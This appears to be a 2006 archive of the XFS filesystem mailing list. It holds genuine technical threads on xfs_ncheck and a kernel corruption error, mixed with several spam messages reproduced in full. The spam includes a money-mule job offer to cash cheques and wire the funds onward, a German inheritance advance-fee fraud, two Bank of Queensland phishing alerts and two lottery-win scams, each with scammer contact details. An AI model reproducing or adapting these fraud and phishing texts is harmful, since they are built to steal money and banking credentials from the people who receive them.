Our sales manager sells products. Once he makes a sale we deliver the product to a customer (usually through FEDEX).The customer receives and checks the products.After this has been done the customer has to pay for the products.About 90 percent of our customers prefer to pay through Certified Cheques and Money orders based on the amount involved. We have decided to open this new job position for solving this problem. Your task is to coordinate payments from customers and help us with the payment process. You are not invloved in any sales.Our sales manager sells products.Once he makes a sale we deliver the product to a customer (usually through FEDEX).The customer receives and checks the products. After this has been done the customer has to pay for the products. About 90 percent of our customers prefer to pay through Certified Cheques and Money orders based on the amount involved. We have decided to open this new job position for solving this problem. YOUR TASK ARE: 1. Recieve payment from Customers 2. Cash Payments at your Bank 3. Deduct 10% which will be your percentage/pay on Payment processed. 4. Forward balance after deduction of percentage/pay to any of the offices you will be contacted to send payment to.(Payment is to forwarded either by Money Gramme or Western Union Money Transfer.Local Money transfers takes barely hours, so it will give us a possibility to get customer's payment almost immediately. For example you've got $3000.You take your income : $300. Send to us: $2700.First month you will have 15-20 transactions on $3000-$4000.So you may calculate your income.For example 18 transactions on $5000.Gives you $9000.Plus your basis monthly salary is $1000.Total:$10.000.per month.After establishing close co-operation you'll be able to operate with larger orders and you'll be able to earn more. Our payments will be issued out in your name and you get them cashed in your bank deduct your weekly salary and foward the balance to the company via western union money transfer or moneygram money transfer.We understand it is an unusual and incredible job position. This job takes only 3-7 hours per week.You'll have a lot of free time doing another job, you'll get good income and regular job.But this job is very challenging and you should understand it. We are looking only for the worker who satisfies our requirements and will be an earnest assistant.Weare glad to offer this job position to you. If you feel that you are a serious and earnest worker and if you want to work for M&D Fabrics and Textiles,a letter of employment would be sent to and you would fill it out and send back via email and you will receive necessary information in 1-48 hours. You should reply to our procurement officer via email,to the email addresses above. Regards, Marson Clark For the Management [[HTML alternate version deleted]] From owner-xfs@oss.sgi.com Fri Oct 20 10:17:30 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 20 Oct 2006 10:17:36 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9KHHTaG014010 for ; Fri, 20 Oct 2006 10:17:30 -0700 X-ASG-Debug-ID: 1161364605-999-559-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by cuda.sgi.com (Spam Firewall) with ESMTP id F3169D19E967 for ; Fri, 20 Oct 2006 10:16:45 -0700 (PDT) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id k9KHGe3C024886; Fri, 20 Oct 2006 13:16:40 -0400 Received: from pobox-2.corp.redhat.com (pobox-2.corp.redhat.com [10.11.255.15]) by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id k9KHGeYp012917; Fri, 20 Oct 2006 13:16:40 -0400 Received: from [10.15.80.10] (neon.msp.redhat.com [10.15.80.10]) by pobox-2.corp.redhat.com (8.13.1/8.13.1) with ESMTP id k9KHGbtB019228; Fri, 20 Oct 2006 13:16:39 -0400 Message-ID: <45390473.3080904@sandeen.net> Date: Fri, 20 Oct 2006 12:16:35 -0500 From: Eric Sandeen User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: "Daniele P." CC: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: xfs_ncheck gives outdated and partial result Subject: Re: xfs_ncheck gives outdated and partial result References: <200610200858.08718.daniele@interline.it> In-Reply-To: <200610200858.08718.daniele@interline.it> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23693 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9376 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sandeen@sandeen.net Precedence: bulk X-list: xfs Status: O Daniele P. wrote: > Hi All, > I'm here to ask a couple of question regarding xfs_ncheck. > I'm using xfs_db version 2.6.20 > > The first question is: > Is it right that I have to unmount/mount the filesystem before > using it (1), or to get the partial right (3) answer? > And why it's print only the first file name for inodes pointed > by multiple files (2)? I think Lachlan had good answers to your questions... I'm curious, are you using xfs_ncheck on a mounted filesystem for any particular reason? It seems that maybe if you are concerned about the out-of-date info on a mounted filesystem, maybe you are attempting to use this from a script or something as part of a larger tool, and that may not be a good idea in general. xfs_ncheck, a wrapper around xfs_db, reads the block device directly, and nothing in the kernel guarantees consistency between the block device address space and the filesystem address space. -Eric From owner-xfs@oss.sgi.com Fri Oct 20 12:07:42 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 20 Oct 2006 12:07:50 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9KJ7faG021379 for ; Fri, 20 Oct 2006 12:07:41 -0700 X-ASG-Debug-ID: 1161367712-11044-415-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from yahoo1180.com (p54BC8430.dip0.t-ipconnect.de [84.188.132.48]) by cuda.sgi.com (Spam Firewall) with SMTP id 62814D19653D for ; Fri, 20 Oct 2006 11:08:32 -0700 (PDT) From: "Mr.muzenda" To: linux-xfs@oss.sgi.com Reply-To: muzenda1000@yahoo.co.uk X-ASG-Orig-Subj: =?iso-8859-1?q?Gesch=E4ftliches_Angebot_?= Subject: =?iso-8859-1?q?Gesch=E4ftliches_Angebot_?= Date: Fri, 20 Oct 2006 20:08:32 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="3408a3e7-3a1f-4468-83de-3c3be40578c3" Message-Id: <20061020180832.62814D19653D@cuda.sgi.com> X-Barracuda-Spam-Score: 2.85 X-Barracuda-Spam-Status: No, SCORE=2.85 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=MIME_BOUND_MANY_HEX, MSGID_FROM_MTA_ID X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23696 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 2.14 MIME_BOUND_MANY_HEX Spam tool pattern in MIME boundary 0.70 MSGID_FROM_MTA_ID Message-Id for external message added locally X-archive-position: 9377 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: muzenda1000@yahoo.co.uk Precedence: bulk X-list: xfs Status: O This is a multi-part message in MIME format --3408a3e7-3a1f-4468-83de-3c3be40578c3 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Gesch=E4ftliches Angebot Sie m=F6gen =FCberrascht sein, diesen Brief von mir zu erhalten, da Sie mic= h nicht pers=F6nlich kennen. Der Grund meiner Vorstellung ist, dass ich Sim= on Muzenda der =E4lteste Sohn von Paul Muzenda bin , einem Farmer in Simbab= we, der k=FCrzlich im Landstreit in meinem Land ermordet wurde. Ich bekam den Kontakt zu Ihnen =FCber das Internet, daher beschloss ich Ihn= en zu schreiben. Vor dem Tod meines Vaters hatte er mich mit nach Johannesburg genommen, um = 20,5 Millionen US-$ in einer privaten Sicherheitsfirma zu hinterlegen, da e= r die lauernde Gefahr in Simbabwe voraussah, legte er sein Geld in Form von= Edelsteinen an. Die Summe war gedacht zum Erwerb neuer Maschinen und Chemi= kalien f=FCr die Farmen und zur Etablierung einer neuen Farm in Swaziland. Die Landprobleme begannen, als unser Pr=E4sident Robert Mugabe eine Landref= orm einf=FChrte, die sich vorwiegend auf wei=DFe reiche Farmer und einige w= enige schwarze Farmer auswirkte und in der Ermordung und =DCberf=E4llen dur= ch Kriegsveteranen und einige andere Geistesgest=F6rte gipfelte. Tats=E4chl= ich wurden eine Menge Menschen ermordet, eines der Opfer war mein Vater. Wegen dieses Hintergrundes floh ich mit meiner Familie aus Simbabwe, um uns= re Leben zu retten und lebe vor=FCbergehend in den Niederlanden, wo wir um = politisches Asyl ersuchen und beschlossen haben, das Geld meines Vaters zu = transferieren auf ein besser erreichbares ausl=E4ndisches Konto, da die Ges= etze der Niederlande einem Fl=FCchtling verbieten ein Konto zu er=F6ffnen o= der in irgendwelche finanziellen Transaktionen innerhalb der Niederlande in= volviert zu sein. Als dem =E4ltesten Sohn meines Vaters bin ich verantwortlich f=FCr die Such= e nach einem geeigneten ausl=E4ndischen Konto, wohin wir unser Geld ohne Wi= ssen meiner Regierung, die uns alles nehmen will was wir besitzen, transfer= ieren k=F6nnen. Die s=FCdafrikanische Regierung scheint gemeinsame Sache mit ihnen zu mache= n. Ich bin konfrontiert mit dem Dilemma, diesen Geldbetrag aus S=FCdafrika = zu holen in der Angst, die gleichen Erfahrungen noch einmal zu machen, beid= e L=E4nder haben die gleiche politische Geschichte. Als Gesch=E4ftsmann suche ich einen Partner, dem ich meine Zukunft anvertra= uen kann und die meiner Familie. Ich muss Ihnen noch mitteilen, dass diese Transaktion risikolos ist. Wenn S= ie mir und meiner Familie beistehen wollen, m=F6chte ich von Ihnen nur, das= s Sie ein Arrangement mit der Sicherheitsfirma machen f=FCr die =DCbergabe = (der Fonds) von deren Tochtergesellschaft in den Niederlanden, da ich berei= ts die Anweisung f=FCr die =DCberf=FChrung in die Niederlande aus S=FCdafri= ka gegeben habe. Vorher m=FCssen die Modalit=E4ten zum Wechsel des Besitzes der Anlagen und = noch wichtiger des Geldes, das ich zu investieren gedachte, stattgefunden h= aben. Ich habe zwei Optionen f=FCr Sie, erstens k=F6nnen Sie w=E4hlen, einen best= immten Prozentsatz des Geldes f=FCr die Nutzung Ihres Kontos f=FCr die Tran= saktion zu bekommen. Oder Sie k=F6nnen zweitens in eine Partnerschaft mit m= ir treten um das Geld sehr viel profitabler in Ihrem Land zu investieren. W= elche Option Sie auch w=E4hlen, f=FChlen Sie sich frei, sich bei mir zu mel= den. Ich plane 5% des Geldes f=FCr alle Arten von Unkosten im Prozess der Transa= ktionen zu verwenden. Sollten Sie keine Partnerschaft bevorzugen, bin ich g= ewillt 15% des Geldes zu bezahlen, w=E4hrend die restlichen 80% f=FCr Inves= titionen in Ihrem Land gedacht sind. Nehmen Sie Kontakt mit mir auf =FCber die obige E-mail =96Adresse, ich bitt= e Sie inst=E4ndig absolutes Stillschweigen =FCber diese Transaktion zu wahr= en. =0D Danke, Gott segne Sie! Muzenda. --3408a3e7-3a1f-4468-83de-3c3be40578c3-- From owner-xfs@oss.sgi.com Fri Oct 20 15:07:46 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 20 Oct 2006 15:08:02 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9KM7iaG005239 for ; Fri, 20 Oct 2006 15:07:46 -0700 X-ASG-Debug-ID: 1161380233-9839-109-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from duster.megahosted.com (unknown [8.14.145.77]) by cuda.sgi.com (Spam Firewall) with ESMTP id 878F7D19E985 for ; Fri, 20 Oct 2006 14:37:13 -0700 (PDT) Received: from www-data by duster.megahosted.com with local (Exim 4.62) (envelope-from ) id 1Gb23E-0005Zp-AW for xfs@oss.sgi.com; Fri, 20 Oct 2006 14:37:12 -0700 To: xfs@oss.sgi.com X-ASG-Orig-Subj: Bank of Queensland Account Information Subject: Bank of Queensland Account Information From: Bank of Queensland Reply-To: accounts@boq.com.au MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit Message-Id: Date: Fri, 20 Oct 2006 14:37:12 -0700 X-Barracuda-Spam-Score: 0.88 X-Barracuda-Spam-Status: No, SCORE=0.88 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HTML_FONT_BIG, HTML_IMAGE_ONLY_16, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23705 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.26 HTML_FONT_BIG BODY: HTML tag for a big font size 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.63 HTML_IMAGE_ONLY_16 BODY: HTML: images with 1200-1600 bytes of words X-archive-position: 9379 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: accounts@boq.com.au Precedence: bulk X-list: xfs Status: O

personal & business banking

Security Alert

Please note that Your Bank of Queensland Online Banking Account is about to expire. In order for it to remain active, please use the link below to proceed and access Your Account.

http://www.boq.com.au/online_enhancedIB.htm
 

From owner-xfs@oss.sgi.com Fri Oct 20 15:07:48 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 20 Oct 2006 15:08:01 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9KM7laG005313 for ; Fri, 20 Oct 2006 15:07:48 -0700 X-ASG-Debug-ID: 1161378391-12527-506-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from duster.megahosted.com (unknown [8.14.145.77]) by cuda.sgi.com (Spam Firewall) with ESMTP id BB89FD19F557 for ; Fri, 20 Oct 2006 14:06:31 -0700 (PDT) Received: from www-data by duster.megahosted.com with local (Exim 4.62) (envelope-from ) id 1Gb1ZV-0001lT-Tf for xfs@oss.sgi.com; Fri, 20 Oct 2006 14:06:29 -0700 To: xfs@oss.sgi.com X-ASG-Orig-Subj: Bank of Queensland Account Information Subject: Bank of Queensland Account Information From: Bank of Queensland Reply-To: accounts@boq.com.au MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit Message-Id: Date: Fri, 20 Oct 2006 14:06:29 -0700 X-Barracuda-Spam-Score: 0.88 X-Barracuda-Spam-Status: No, SCORE=0.88 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HTML_FONT_BIG, HTML_IMAGE_ONLY_16, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23705 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.26 HTML_FONT_BIG BODY: HTML tag for a big font size 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.63 HTML_IMAGE_ONLY_16 BODY: HTML: images with 1200-1600 bytes of words X-archive-position: 9378 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: accounts@boq.com.au Precedence: bulk X-list: xfs Status: O

personal & business banking

Security Alert

Please note that Your Bank of Queensland Online Banking Account is about to expire. In order for it to remain active, please use the link below to proceed and access Your Account.

http://www.boq.com.au/online_enhancedIB.htm
 

From owner-xfs@oss.sgi.com Fri Oct 20 19:34:37 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 20 Oct 2006 19:34:45 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9L2YaaG008452 for ; Fri, 20 Oct 2006 19:34:37 -0700 X-ASG-Debug-ID: 1161394492-32043-834-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from razor.csbnet.se (razor.csbnet.se [193.11.251.99]) by cuda.sgi.com (Spam Firewall) with ESMTP id 3AFD34B9596 for ; Fri, 20 Oct 2006 18:34:52 -0700 (PDT) Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1]) by razor.csbnet.se (8.13.8/8.13.8) with ESMTP id k9L1YXKl014527 for ; Sat, 21 Oct 2006 03:34:33 +0200 Message-ID: <45397929.8050704@kjellander.com> Date: Sat, 21 Oct 2006 03:34:33 +0200 From: Carl-Johan Kjellander User-Agent: Thunderbird 1.5.0.7 (X11/20061008) MIME-Version: 1.0 To: xfs@oss.sgi.com X-ASG-Orig-Subj: XFS_WANT_CORRUPTED_GOTO at line 4528 of file fs/xfs/xfs_bmap.c Subject: XFS_WANT_CORRUPTED_GOTO at line 4528 of file fs/xfs/xfs_bmap.c Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.68 X-Barracuda-Spam-Status: No, SCORE=0.68 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=OBSCURED_EMAIL X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23720 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.68 OBSCURED_EMAIL BODY: Message seems to contain rot13ed address X-archive-position: 9380 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: carljohan@kjellander.com Precedence: bulk X-list: xfs Status: O I've been hit by a bug installing FC6test4. It will hold us back upgrading since we use XFS for our home-dirs at work. Here is the link to the bug report at redhat's bugzilla: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=211086 Here is dmesg when I try to read the file /var/lib/rpm/Packages: XFS internal error XFS_WANT_CORRUPTED_GOTO at line 4528 of file fs/xfs/xfs_bmap.c. Caller 0xeeb4e6ba [] dump_trace+0x69/0x1af [] show_trace_log_lvl+0x18/0x2c [] show_trace+0xf/0x11 [] dump_stack+0x15/0x17 [] xfs_bmap_read_extents+0x448/0x462 [xfs] [] xfs_iread_extents+0xa0/0xbb [xfs] [] xfs_bmapi+0x23a/0x1f83 [xfs] [] xfs_iomap+0x2e1/0x78d [xfs] [] __xfs_get_blocks+0x72/0x237 [xfs] [] xfs_get_blocks+0x28/0x2d [xfs] [] do_mpage_readpage+0x282/0x5e2 [] mpage_readpages+0xac/0x114 [] __do_page_cache_readahead+0x124/0x1c8 [] blockable_page_cache_readahead+0x4c/0x9f [] page_cache_readahead+0xbf/0x196 [] do_generic_mapping_read+0x13d/0x49b [] __generic_file_aio_read+0x18c/0x1d1 [] xfs_read+0x294/0x2fc [xfs] [] xfs_file_aio_read+0x70/0x78 [xfs] [] do_sync_read+0xc1/0xfb [] vfs_read+0xa6/0x157 [] sys_read+0x41/0x67 [] syscall_call+0x7/0xb DWARF2 unwinder stuck at syscall_call+0x7/0xb I have the actual partition bzip:ed. http://razor.csbnet.se/varfucked.bz2 Unpack it and dd to a 4GB logical volume and try to read from /var/lib/rpm/Packages /cjk -- begin 644 carljohan_at_kjellander_dot_com.gif Y1TE&.#=A(0`F`(```````/___RP`````(0`F```"@XR/!\N<#U.;+MI`<[U(>\!UGQ9BGT%>'D2I Y*=NX,2@OUF2&<827ILW;^822C>\7!!Z1,!K'B5(6HQI6:7"A>Y?):D2^*U@NCV RLZYD-_T1U<@3W]A4(^$-W4]A#V")W6#.R"$;IR'@).46BN7$9>5D``#L` From owner-xfs@oss.sgi.com Sat Oct 21 08:24:21 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 21 Oct 2006 08:24:30 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9LFOJaG027103 for ; Sat, 21 Oct 2006 08:24:21 -0700 X-ASG-Debug-ID: 1161440701-14701-673-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from fmmailgate05.web.de (fmmailgate05.web.de [217.72.192.243]) by cuda.sgi.com (Spam Firewall) with ESMTP id D23C3D199F03 for ; Sat, 21 Oct 2006 07:25:01 -0700 (PDT) Reveived: from web.de by fmmailgate05.web.de (Postfix) with SMTP id F1631252318; Sat, 21 Oct 2006 16:24:59 +0200 (CEST) Received: from [83.39.216.100] by freemailng2305.web.de with HTTP; Sat, 21 Oct 2006 16:24:59 +0200 Date: Sat, 21 Oct 2006 16:24:59 +0200 Message-Id: <240841713@web.de> MIME-Version: 1.0 From: acculotto international To: acculotto55@web.de X-ASG-Orig-Subj: Final Notice Subject: Final Notice Precedence: fm-user Organization: http://freemail.web.de/ X-Barracuda-Spam-Score: 0.65 X-Barracuda-Spam-Status: No, SCORE=0.65 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, ADVANCE_FEE_2 X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23769 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.65 ADVANCE_FEE_2 Appears to be advance fee fraud (Nigerian 419) 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-length: 2019 X-archive-position: 9381 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: acculotto55@web.de Precedence: bulk X-list: xfs Status: O Final Results!!! A.C.I Headquarters Euro-Afro-Asian Sweepstake Award Department Madrid, Spain. Ref:ALI/309V/06 Batch Number:09/W678/06 21th OCT,2006We are pleased to announce to you the result of the Euro-Afro-Asian Sweepstake program held in Madrid .Your email address attached to ticket number 56714527/06 with the serial number AL234 and batch number 7888/06/ES and Reference number ES009345W drew the lucky number 31-6-26-13-35-7 which subsequently won in the 3rd category of this years program.You have therefore been approved of the lump sum of one hundred and fifty thousand euros(150.000.00euros)credited to security file number KPC/9118308/06.For the immediate commencement of the release of your award to you,you are advised to make immediate contact with the claims manager with the below given contact details Name: Dr. pedro mitchell Email:lotopremi@netscape.net Tel: ++34 656 325 789You will be sent a claims verification form for the formalisation of the transfer of your award.Note that participant were selected randomly from World Wide Web Site through computer draw system extracted from over 100,000 emails of individuals and companies. This program takes place annually.For security reasons you are advised to keep your winning information confidential until your claim is processed and your award transferred to you. This is part of our security protocols to avoid double claiming and unwarranted abuse of this program by some unscrupulous elements. Please be warned.To avoid unecessary delays and complications do quote your security file number in all correspondence.We thank you for being a part of our promotional program and Congratulations from all members and staffs of our company.Yours faithfully, Mrs. *Jennifer Cantin* For Claims Manager Der WEB.DE SmartSurfer hilft bis zu 70% Ihrer Onlinekosten zu sparen! *http://smartsurfer.web.de/?mc=100071&distributionid=000000000066* [http://smartsurfer.web.de/?mc=100071&distributionid=000000000066] [[HTML alternate version deleted]] From owner-xfs@oss.sgi.com Sat Oct 21 08:34:42 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 21 Oct 2006 08:34:54 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9LFYeaG027978 for ; Sat, 21 Oct 2006 08:34:42 -0700 X-ASG-Debug-ID: 1161440658-10200-167-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from fmmailgate04.web.de (fmmailgate04.web.de [217.72.192.242]) by cuda.sgi.com (Spam Firewall) with ESMTP id E063D4C0842 for ; Sat, 21 Oct 2006 07:24:18 -0700 (PDT) Reveived: from web.de by fmmailgate04.web.de (Postfix) with SMTP id 42ABC27108B; Sat, 21 Oct 2006 16:24:17 +0200 (CEST) Received: from [87.66.116.234] by freemailng2304.web.de with HTTP; Sat, 21 Oct 2006 16:24:16 +0200 Date: Sat, 21 Oct 2006 16:24:16 +0200 Message-Id: <240841349@web.de> MIME-Version: 1.0 From: "lotto nl.info05" X-ASG-Orig-Subj: YOU ARE A WINNER Subject: YOU ARE A WINNER Precedence: fm-user Organization: http://freemail.web.de/ Content-Type: text/plain; charset=iso-8859-15 To: undisclosed-recipients:; X-Barracuda-Spam-Score: 0.88 X-Barracuda-Spam-Status: No, SCORE=0.88 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, UNDISC_RECIPS X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23771 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.88 UNDISC_RECIPS Valid-looking To "undisclosed-recipients" 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id k9LFYgaG028007 X-archive-position: 9382 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: lotto.nl.info05@web.de Precedence: bulk X-list: xfs Status: O YOU ARE A WINNER Lotto.nl Koningen Julianaplein 21, 2391 BD Denhaag, The Netherlands (Lotto affiliate with Subscriber Agents). From: Mrs A. van Zand (Lottery Co-ordinator) Website: www.lotto.nl ATTN: CONGRATULATIONS!!! We are pleased to inform you of the result of the Lotto.nl Winners International programs held on the 18th of October, 2006. Your e-mail address attached to ticket #: 0191652872 with prize #: 31397449 NL drew €1,000,000.00 which was first in the first class of the draws. You are to receive €1,000,000.00 (One Million Euros). Because of mix up in cash pay-outs, we ask that you keep your winning information confidential until your money (€1,000,000.00) has been fully remitted to you by our accredited pay-point bank. This measure must be adhere to,in order to avoid loss of your cash prize - winners of our cash prizes are advised to adhere to these instructions to forestall the abuse of this program by other participants. It is important to note that this draws were conducted formally, and winners are selected through an internet ballot system from 50,000 individual and companies e-mail addresses - the draws are conducted around the world through our internet based ballot system. The promotion is sponsored and promoted Lotto.nl . We congratulate you once again. We hope you will use part of it in our next draws; the jackpot winning is €85million. Remember,all winnings must be claimed not later than 20days from today.After this date all unclaimed cash prize will be forfeited and included in the next sweepstake. Please, in order to avoid unnecessary delays and complications remember to quote personal and winning numbers in all correspondence with us. Congratulations once again from all members of lotto.nl.Thank you for being part of our promotional program. For immediate release of your cash prize to you, please kindly contact our Paying Bank address written below. Send them the following informations: (i) Your name, (ii) Contact telephone and fax numbers (iii) Contact Address (iv) Your winning numbers (v) Quote amount won. (vi) Notification date. Contact person: Sherman Brinks E-mail: leedbnk@netscape.net Tel: +31 649 953 670 Congratulations once again. Yours in service, Mrs A. van Zand (Lottery Co-ordinator) ______________________________________________________________________ XXL-Speicher, PC-Virenschutz, Spartarife & mehr: Nur im WEB.DE Club! Jetzt gratis testen! http://freemail.web.de/home/landingpad/?mc=021130 From owner-xfs@oss.sgi.com Sat Oct 21 10:25:08 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 21 Oct 2006 10:25:19 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9LHP7aG003992 for ; Sat, 21 Oct 2006 10:25:08 -0700 X-ASG-Debug-ID: 1161451459-2098-93-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ext.agami.com (64.221.212.177.ptr.us.xo.net [64.221.212.177]) by cuda.sgi.com (Spam Firewall) with ESMTP id 1C2C94C1977 for ; Sat, 21 Oct 2006 10:24:19 -0700 (PDT) Received: from agami.com ([192.168.168.146]) by ext.agami.com (8.12.5/8.12.5) with ESMTP id k9LHOFBF018872 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 21 Oct 2006 10:24:19 -0700 Received: from mx1.agami.com (mx1.agami.com [10.123.10.30]) by agami.com (8.12.11/8.12.11) with ESMTP id k9LHO99e012108 for ; Sat, 21 Oct 2006 10:24:09 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.5 MIME-Version: 1.0 X-ASG-Orig-Subj: RE: XFS_WANT_CORRUPTED_GOTO at line 4528 of file fs/xfs/xfs_bmap.c Subject: RE: XFS_WANT_CORRUPTED_GOTO at line 4528 of file fs/xfs/xfs_bmap.c Date: Sat, 21 Oct 2006 10:29:12 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: XFS_WANT_CORRUPTED_GOTO at line 4528 of file fs/xfs/xfs_bmap.c Thread-Index: Acb0ujzNbSgruHWcTKi/KP0RvWoPcQAekR1H References: <45397929.8050704@kjellander.com> From: "Shailendra Tripathi" To: "Carl-Johan Kjellander" , X-Scanned-By: MIMEDefang 2.36 X-Barracuda-Spam-Score: 0.68 X-Barracuda-Spam-Status: No, SCORE=0.68 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=OBSCURED_EMAIL X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23783 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.68 OBSCURED_EMAIL BODY: Message seems to contain rot13ed address Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-length: 3410 X-archive-position: 9383 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: stripathi@agami.com Precedence: bulk X-list: xfs Status: O Hi Carl, The best way to see what is going on is to see what log thinks it has. You must have got a message indicating the inode number and other details of the extent as indicated by the source. if(!rt && !gotp->br_startblock && (*lastxp != NULLEXTNUM )) { cmn_err (CE_PANIC ,"Access to block zero: fs: <%s> inode: %lld " "start_block : %llx start_off : %llx blkcnt : %llx " "extent-state : %x \n", (ip ->i_mount)->m_fsname,(long long)ip ->i_ino, gotp->br_startblock, 